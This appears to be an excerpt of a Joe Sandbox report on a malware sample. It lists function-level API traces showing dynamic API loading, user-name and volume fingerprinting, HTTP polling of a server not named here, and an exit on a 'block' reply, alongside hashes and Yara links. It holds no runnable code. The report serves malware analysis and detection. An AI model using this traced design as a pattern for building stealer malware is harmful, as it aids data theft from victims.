Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c8e8ce209ba2de3817c9f4a7b0d7cee95f902dc9a64753c40bc6241a306f06db
Instruction ID: f1cfa6d469eeebc7b1914ec45291da18477af80bd6479bf400c242ee01114996
Opcode Fuzzy Hash: c8e8ce209ba2de3817c9f4a7b0d7cee95f902dc9a64753c40bc6241a306f06db
Instruction Fuzzy Hash: B812ED72910219AADB15EB90DC9AFEEBB78BF94300F504199F14672091EF702F49CF66

Function 00537850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
RtlAllocateHeap.NTDLL(00000000), ref: 00537887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 0e835011d1d3f2b5e75d05ad3a0f7fa658586e2268c2def20baa1563adb76547
Instruction ID: 81b4437becce929cdc886f346f7a8ba8b929a0fefbce72bd0535594ce54e7124
Opcode Fuzzy Hash: 0e835011d1d3f2b5e75d05ad3a0f7fa658586e2268c2def20baa1563adb76547
Instruction Fuzzy Hash: E0F04FB1D44309ABCB10DF98DD49BAEFBB8FB08711F10465AFA06A3680C7B815048FA1

Function 00521160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0052116A
ExitProcess.KERNEL32 ref: 0052117E

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 7a296bc43a90c5c76152db24799a8f78ba5a08f6ec47f877e7ae5b169f67f152
Instruction ID: 97d47990bfe4e99c9a08c4a36a206fc72214eceb54f2ae4e135f2b758b1fe691
Opcode Fuzzy Hash: 7a296bc43a90c5c76152db24799a8f78ba5a08f6ec47f877e7ae5b169f67f152
Instruction Fuzzy Hash: AED05E7490030CEBCB00DFE0D84A6DDBB78FB08311F000554D90672340EA709491CAAA

Function 00539C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00F05C90), ref: 00539C2D
GetProcAddress.KERNEL32(74DD0000,00F05E10), ref: 00539C45
GetProcAddress.KERNEL32(74DD0000,00F1A2C0), ref: 00539C5E
GetProcAddress.KERNEL32(74DD0000,00F1A278), ref: 00539C76
GetProcAddress.KERNEL32(74DD0000,00F1A290), ref: 00539C8E
GetProcAddress.KERNEL32(74DD0000,00F1A230), ref: 00539CA7
GetProcAddress.KERNEL32(74DD0000,00F0BBA8), ref: 00539CBF
GetProcAddress.KERNEL32(74DD0000,00F1CEA0), ref: 00539CD7
GetProcAddress.KERNEL32(74DD0000,00F1D098), ref: 00539CF0
GetProcAddress.KERNEL32(74DD0000,00F1CF30), ref: 00539D08
GetProcAddress.KERNEL32(74DD0000,00F1CE88), ref: 00539D20
GetProcAddress.KERNEL32(74DD0000,00F05B70), ref: 00539D39
GetProcAddress.KERNEL32(74DD0000,00F05B90), ref: 00539D51
GetProcAddress.KERNEL32(74DD0000,00F05E50), ref: 00539D69
GetProcAddress.KERNEL32(74DD0000,00F05BB0), ref: 00539D82
GetProcAddress.KERNEL32(74DD0000,00F1CEB8), ref: 00539D9A
GetProcAddress.KERNEL32(74DD0000,00F1CED0), ref: 00539DB2
GetProcAddress.KERNEL32(74DD0000,00F0BBD0), ref: 00539DCB
GetProcAddress.KERNEL32(74DD0000,00F05D50), ref: 00539DE3
GetProcAddress.KERNEL32(74DD0000,00F1CE70), ref: 00539DFB
GetProcAddress.KERNEL32(74DD0000,00F1CE28), ref: 00539E14
GetProcAddress.KERNEL32(74DD0000,00F1CFD8), ref: 00539E2C
GetProcAddress.KERNEL32(74DD0000,00F1D050), ref: 00539E44
GetProcAddress.KERNEL32(74DD0000,00F05BD0), ref: 00539E5D
GetProcAddress.KERNEL32(74DD0000,00F1D080), ref: 00539E75
GetProcAddress.KERNEL32(74DD0000,00F1CFA8), ref: 00539E8D
GetProcAddress.KERNEL32(74DD0000,00F1D020), ref: 00539EA6
GetProcAddress.KERNEL32(74DD0000,00F1CEE8), ref: 00539EBE
GetProcAddress.KERNEL32(74DD0000,00F1CF00), ref: 00539ED6
GetProcAddress.KERNEL32(74DD0000,00F1CF48), ref: 00539EEF
GetProcAddress.KERNEL32(74DD0000,00F1CDF8), ref: 00539F07
GetProcAddress.KERNEL32(74DD0000,00F1CE58), ref: 00539F1F
GetProcAddress.KERNEL32(74DD0000,00F1CF18), ref: 00539F38
GetProcAddress.KERNEL32(74DD0000,00F105C0), ref: 00539F50
GetProcAddress.KERNEL32(74DD0000,00F1CF60), ref: 00539F68
GetProcAddress.KERNEL32(74DD0000,00F1CFC0), ref: 00539F81
GetProcAddress.KERNEL32(74DD0000,00F05CD0), ref: 00539F99
GetProcAddress.KERNEL32(74DD0000,00F1CF78), ref: 00539FB1
GetProcAddress.KERNEL32(74DD0000,00F059F0), ref: 00539FCA
GetProcAddress.KERNEL32(74DD0000,00F1CF90), ref: 00539FE2
GetProcAddress.KERNEL32(74DD0000,00F1D068), ref: 00539FFA
GetProcAddress.KERNEL32(74DD0000,00F058D0), ref: 0053A013
GetProcAddress.KERNEL32(74DD0000,00F05810), ref: 0053A02B
LoadLibraryA.KERNEL32(00F1CE40,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A03D
LoadLibraryA.KERNEL32(00F1CFF0,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A04E
LoadLibraryA.KERNEL32(00F1D008,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A060
LoadLibraryA.KERNEL32(00F1D038,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A072
LoadLibraryA.KERNEL32(00F1D0B0,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A083
LoadLibraryA.KERNEL32(00F1D0C8,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A095
LoadLibraryA.KERNEL32(00F1D0E0,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A0A7
LoadLibraryA.KERNEL32(00F1CE10,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A0B8
GetProcAddress.KERNEL32(75290000,00F05790), ref: 0053A0DA
GetProcAddress.KERNEL32(75290000,00F1D140), ref: 0053A0F2
GetProcAddress.KERNEL32(75290000,00F198A0), ref: 0053A10A
GetProcAddress.KERNEL32(75290000,00F1D218), ref: 0053A123
GetProcAddress.KERNEL32(75290000,00F058F0), ref: 0053A13B
GetProcAddress.KERNEL32(6FCD0000,00F0B9A0), ref: 0053A160
GetProcAddress.KERNEL32(6FCD0000,00F056B0), ref: 0053A179
GetProcAddress.KERNEL32(6FCD0000,00F0B9C8), ref: 0053A191
GetProcAddress.KERNEL32(6FCD0000,00F1D3B0), ref: 0053A1A9
GetProcAddress.KERNEL32(6FCD0000,00F1D1D0), ref: 0053A1C2
GetProcAddress.KERNEL32(6FCD0000,00F057D0), ref: 0053A1DA
GetProcAddress.KERNEL32(6FCD0000,00F05910), ref: 0053A1F2
GetProcAddress.KERNEL32(6FCD0000,00F1D380), ref: 0053A20B
GetProcAddress.KERNEL32(752C0000,00F05A90), ref: 0053A22C
GetProcAddress.KERNEL32(752C0000,00F05990), ref: 0053A244
GetProcAddress.KERNEL32(752C0000,00F1D350), ref: 0053A25D
GetProcAddress.KERNEL32(752C0000,00F1D398), ref: 0053A275
GetProcAddress.KERNEL32(752C0000,00F05A10), ref: 0053A28D
GetProcAddress.KERNEL32(74EC0000,00F0B6D0), ref: 0053A2B3
GetProcAddress.KERNEL32(74EC0000,00F0B658), ref: 0053A2CB
GetProcAddress.KERNEL32(74EC0000,00F1D1E8), ref: 0053A2E3
GetProcAddress.KERNEL32(74EC0000,00F058B0), ref: 0053A2FC
GetProcAddress.KERNEL32(74EC0000,00F05A30), ref: 0053A314
GetProcAddress.KERNEL32(74EC0000,00F0B900), ref: 0053A32C
GetProcAddress.KERNEL32(75BD0000,00F1D3C8), ref: 0053A352
GetProcAddress.KERNEL32(75BD0000,00F05930), ref: 0053A36A
GetProcAddress.KERNEL32(75BD0000,00F19740), ref: 0053A382
GetProcAddress.KERNEL32(75BD0000,00F1D128), ref: 0053A39B
GetProcAddress.KERNEL32(75BD0000,00F1D290), ref: 0053A3B3
GetProcAddress.KERNEL32(75BD0000,00F05850), ref: 0053A3CB
GetProcAddress.KERNEL32(75BD0000,00F056D0), ref: 0053A3E4
GetProcAddress.KERNEL32(75BD0000,00F1D2D8), ref: 0053A3FC
GetProcAddress.KERNEL32(75BD0000,00F1D2C0), ref: 0053A414
GetProcAddress.KERNEL32(75A70000,00F05950), ref: 0053A436
GetProcAddress.KERNEL32(75A70000,00F1D248), ref: 0053A44E
GetProcAddress.KERNEL32(75A70000,00F1D368), ref: 0053A466
GetProcAddress.KERNEL32(75A70000,00F1D2F0), ref: 0053A47F
GetProcAddress.KERNEL32(75A70000,00F1D308), ref: 0053A497
GetProcAddress.KERNEL32(75450000,00F056F0), ref: 0053A4B8
GetProcAddress.KERNEL32(75450000,00F05970), ref: 0053A4D1
GetProcAddress.KERNEL32(75DA0000,00F05A50), ref: 0053A4F2
GetProcAddress.KERNEL32(75DA0000,00F1D230), ref: 0053A50A
GetProcAddress.KERNEL32(6F070000,00F057F0), ref: 0053A530
GetProcAddress.KERNEL32(6F070000,00F059B0), ref: 0053A548
GetProcAddress.KERNEL32(6F070000,00F05710), ref: 0053A560
GetProcAddress.KERNEL32(6F070000,00F1D3E0), ref: 0053A579
GetProcAddress.KERNEL32(6F070000,00F059D0), ref: 0053A591
GetProcAddress.KERNEL32(6F070000,00F05A70), ref: 0053A5A9
GetProcAddress.KERNEL32(6F070000,00F05730), ref: 0053A5C2
GetProcAddress.KERNEL32(6F070000,00F05750), ref: 0053A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0053A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0053A607
GetProcAddress.KERNEL32(75AF0000,00F1D110), ref: 0053A629
GetProcAddress.KERNEL32(75AF0000,00F197F0), ref: 0053A641
GetProcAddress.KERNEL32(75AF0000,00F1D278), ref: 0053A659
GetProcAddress.KERNEL32(75AF0000,00F1D200), ref: 0053A672
GetProcAddress.KERNEL32(75D90000,00F05770), ref: 0053A693
GetProcAddress.KERNEL32(6E330000,00F1D320), ref: 0053A6B4
GetProcAddress.KERNEL32(6E330000,00F057B0), ref: 0053A6CD
GetProcAddress.KERNEL32(6E330000,00F1D260), ref: 0053A6E5
GetProcAddress.KERNEL32(6E330000,00F1D0F8), ref: 0053A6FD

Strings

InternetSetOptionA, xrefs: 0053A5E5
HttpQueryInfoA, xrefs: 0053A5FC

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 05989f181c13ac5d09fe7787094cdbf8cd8fc862906e239fe60c99656e42744d
Instruction ID: bddfe914992b46d8041d0cc782aef9579598f1ef6333ec53b7bf36772ee2d210
Opcode Fuzzy Hash: 05989f181c13ac5d09fe7787094cdbf8cd8fc862906e239fe60c99656e42744d
Instruction Fuzzy Hash: 74623AB5500341BFC745DFA8EE889563BF9F79C201714C51AE60BE3224DABDA841DF2A

Function 00526280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
StrCmpCA.SHLWAPI(?,00F1E748), ref: 00526303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
HttpOpenRequestA.WININET(00000000,GET,?,00F1DF48,00000000,00000000,00400100,00000000), ref: 00526385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0052646D
InternetCloseHandle.WININET(00000000), ref: 005264EF
InternetCloseHandle.WININET(00000000), ref: 005264F9
InternetCloseHandle.WININET(00000000), ref: 00526503

Strings

GET, xrefs: 0052637C
ERROR, xrefs: 00526407
ERROR, xrefs: 005264C9

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: a8a4e5bbd8ababc98683a0491871f1afd5c50df5cb7f88ea4eddcd47e9892ff5
Instruction ID: c6dd74edfe3cbf79207b828c5ef48bf1b18918aaa11e7c6cbc60b41f8d2cafad
Opcode Fuzzy Hash: a8a4e5bbd8ababc98683a0491871f1afd5c50df5cb7f88ea4eddcd47e9892ff5
Instruction Fuzzy Hash: A8712C71A00318ABDF14EBA0DC99BEEBB74BF45700F108598F50A6B1D4DBB46A85CF91

Function 00535510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535857

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535228

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 005352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535318
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 0053532F
Part of subcall function 005352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00535364
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 00535383
Part of subcall function 005352C0: lstrlen.KERNEL32(00000000), ref: 005353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0053578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00535A0C
Sleep.KERNEL32(0000EA60), ref: 00535A1B

Strings

ERROR, xrefs: 00535849
ERROR, xrefs: 00535932
ERROR, xrefs: 00535693
ERROR, xrefs: 0053577D
ERROR, xrefs: 00535636
ERROR, xrefs: 005359FE

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 5f5330b22730a744f521bf77d459a689d3556efa216af8a3b07f7e278f1b4855
Instruction ID: 046e0785843272eb79e35932a3d9fc635d9e5c7365fac4fb5b5e684d51c47de7
Opcode Fuzzy Hash: 5f5330b22730a744f521bf77d459a689d3556efa216af8a3b07f7e278f1b4855
Instruction Fuzzy Hash: AEE14472910205AACB14FBB0DC9AEEDBB78BF94300F508528F54766095FF746A09CF96

Function 005317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005317C5
ExitProcess.KERNEL32 ref: 005317D1

Strings

block, xrefs: 005317B7

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 8395a02414958a94c74778c1535f9af45201e4d243e10fa79ca97cf9b3981fce
Instruction ID: 019a317c1681fad2e3794a1c5e13aa9f013c3f1efc0915154f84db39bd1dc5d2
Opcode Fuzzy Hash: 8395a02414958a94c74778c1535f9af45201e4d243e10fa79ca97cf9b3981fce
Instruction Fuzzy Hash: AA5178B5A0420AEFCB04DFA4D958FBE7BB5BF44304F108448E806AB280D774E955CB6A

Function 00537500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00537542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0053757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537603
RtlAllocateHeap.NTDLL(00000000), ref: 0053760A
wsprintfA.USER32 ref: 00537640

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

\, xrefs: 00537560
:, xrefs: 0053755C
C, xrefs: 0053754C
T, xrefs: 0053764D, 00537655, 0053761B, 00537623

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
